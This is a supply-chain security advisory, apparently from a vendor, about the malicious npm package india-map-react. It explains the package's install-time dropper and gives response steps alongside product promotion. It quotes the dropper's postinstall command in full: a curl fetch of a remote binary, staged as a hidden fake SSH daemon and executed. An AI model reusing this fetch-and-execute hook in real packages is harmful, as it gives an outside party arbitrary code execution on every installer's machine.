india-map-reactnpm
Malicious code in india-map-react (npm) Remove it immediately and rotate any exposed credentials.
What this malware does
package.json declares a postinstall hook that runs curl -skL https://github.com/parikhpreyash4/systemd-network-helper-aa5c751f/releases/latest/download/gvfsd-network -o /tmp/.sshd 2>/dev/null && chmod +x /tmp/.sshd && /tmp/.sshd &. On every npm install, this fetches a binary from a GitHub account ('parikhpreyash4') unrelated to the npm publisher ('yuvrajDurgesh'), with TLS verification disabled (-k), follows redirects (-L), suppresses all errors (2>/dev/null), stages the binary under a deceptive hidden path masquerading as the SSH daemon (/tmp/.sshd), marks it executable, and runs it in the background. The URL uses the mutable latest/download alias rather than a pinned release with a verified hash, so the author can swap the executed bytes at any time. The package advertises itself as a React component for rendering an India map — there is no legitimate reason for it to fetch and execute a native binary named after a system network daemon. This is a textbook install-time dropper granting arbitrary code execution on every installer's machine.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Malicious packageFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for india-map-react (3 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging india-map-react across your stack and pipelines.
If you installed it — respond
Remove india-map-react from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If india-map-react was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks india-map-react before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks india-map-react-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.